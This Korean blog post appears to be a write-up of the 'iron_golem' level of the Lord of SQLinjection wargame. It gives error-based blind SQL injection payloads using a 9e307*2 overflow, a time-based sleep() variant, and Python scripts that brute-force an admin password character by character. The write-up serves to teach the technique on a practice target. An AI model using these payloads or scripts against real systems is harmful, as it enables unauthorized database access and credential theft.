이번 LOS문제에서 역시 필터링을 먼저 확인하면

1) prob, _ , .  등

2) sleep, benchmark 와 같은 timebased 에서 사용되는 함수

3) addslashes() pw 입력시 양쪽에 / / 가 추가됨

보통 3번 때문에 문제 풀이할 때 pw값을 입력할 때마다 / / 들어가므로, pw에 공격구문을 넣어도 소용이 없어진다.

또한 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); 로 인해 직접 pw값을 찾아야 한다. 아마도 blind injection을 사용할 것으로 보임..

여기서 왜 sleep, benchmark 와 같은 timebased 에서 사용되는 함수를 필터링시켜놨는지는 나중에 알아보도록 하자.

 


일단 비밀번호의 길이를 파악해야 한다.

payload는 pw = ' ' or id = 'admin' and (인젝션 쿼리) #  인 것 같은데 어떤 인젝션 쿼리가 들어가야 하는지 파악해야 한다.그리고 또 다른점, if(mysqli_error($db)) exit(mysqli_error($db));잘못된 쿼리 입력시 에러 메시지를 보여준다.

pw = '  만 입력했더니 에러메시지가 보이면서 mysql db를 사용하는 것을 알 수 있었다.간단한 쿼리를 넣어보자.

sql test를 할 수 있는 사이트에서 select 1 쿼리를 시도했을 때 mysql은 그냥 1을 반환한다. 가장 간단한 쿼리인 것 같아 이를 시도해보니...

에러가 뜬다.. 왜지... ㄱ그러면 괄호로 감싸서 날려보자

괄호로 감싸니 풀린다... 왜지...

암튼 그러면 저 괄호안에 blind injection을 할 수 있는 쿼리를 넣어야 한다. 

mysql 과 관련한 error based injection payload를 드림핵에서 참고하였다. 

injection query : select if(1=0, 9e307*2,0);

mysql의 경우 1=1일때, 9e307*2 를 반환하여야 하는데 범위를 벗어난다는 에러 메시지를 반환한다.

반대로 1=0 거짓일때, 0을 정상적으로 반환한다.

  ※ (select case when 1=1 then 9e307*2 else 0 end) 쿼리문도 동일한 결과를 보여준다.

실제 문제에 적용해보면.. 

payload : pw = ' or id= 'admin' and (select if(1=1, 9e307*2, 0) ) %23 

1=1 조건이 성립되어 9e307*2를 반환하게 되는데, 이 경우 범위를 벗어나서 에러 메시지를 반환한다.

payload : pw = ' or id= 'admin' and (select if(1=2, 9e307*2, 0) ) %23 

1=2 조건이 성립되어 0을 반환하기에 id = 'admin' and 0 %23 과 같은 응답값을 보이게 된다.

이 점을 이용하여 1=1 조건에 pw의 길이를 찾고 substring으로 글자를 하나씩 찾고자 한다.

자동화코드는 다음과 같다.

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select if(length(pw)={},9e307*2,0)) #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , 9e307*2, 0) ) #  (이때 select 써도되고 안써도 됨)

1=1 조건 대신 length(pw)로 길이를 찾도록 설정 후,  찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하게 되어 이를 찾게끔 코드를 작성했다.

실행화면

 

다음으로 pw를 한글자씩 찾아보자.

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "' or id = 'admin' and (select if(ascii(substr(pw,{},1))={},9e307*2,0)) #".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

payload : pw = ' or id= 'admin' and (select if( ascii(substr(pw,?,1)) = ? , 9e307*2, 0) ) # 

1=1 조건 대신 ascii(substr(pw,?,1)= ? 로 문자를 한글자씩 찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하는 코드를 작성했다.

실행화면

 

solve!!!!!!!!!!!!!!!!!!

 

추가 사항


참일 때
거짓일때

 

case when 구문으로도 수행 가능함!

 

또 궁금한 점..

왜 시간지연함수 즉 timebased injection은 불가능하게 하였는가?

드림핵에서 찾아보니 error-based injection 시도할 때 모두 참값을 반환하는 경우가 있다.

위 문제 역시 or id = 'admin' and 1#    or id = 'admin' and 0#  모두 결과값이 동일하다. 앞서 9e307*2 를 이용한 error-based 를 모를 경우 참값만으로 구분해야 하는데.. 이때 sleep()함수와 같이 시간 지연을 통해 참/거짓을 구분할 수 있다.

위 예시처럼,

payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , sleep(1), sleep(10)) ) #

이런식으로 가능하다는 것.. time-based로 풀지말고, error-based 풀게끔 한 조치같다...

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14

+ Recent posts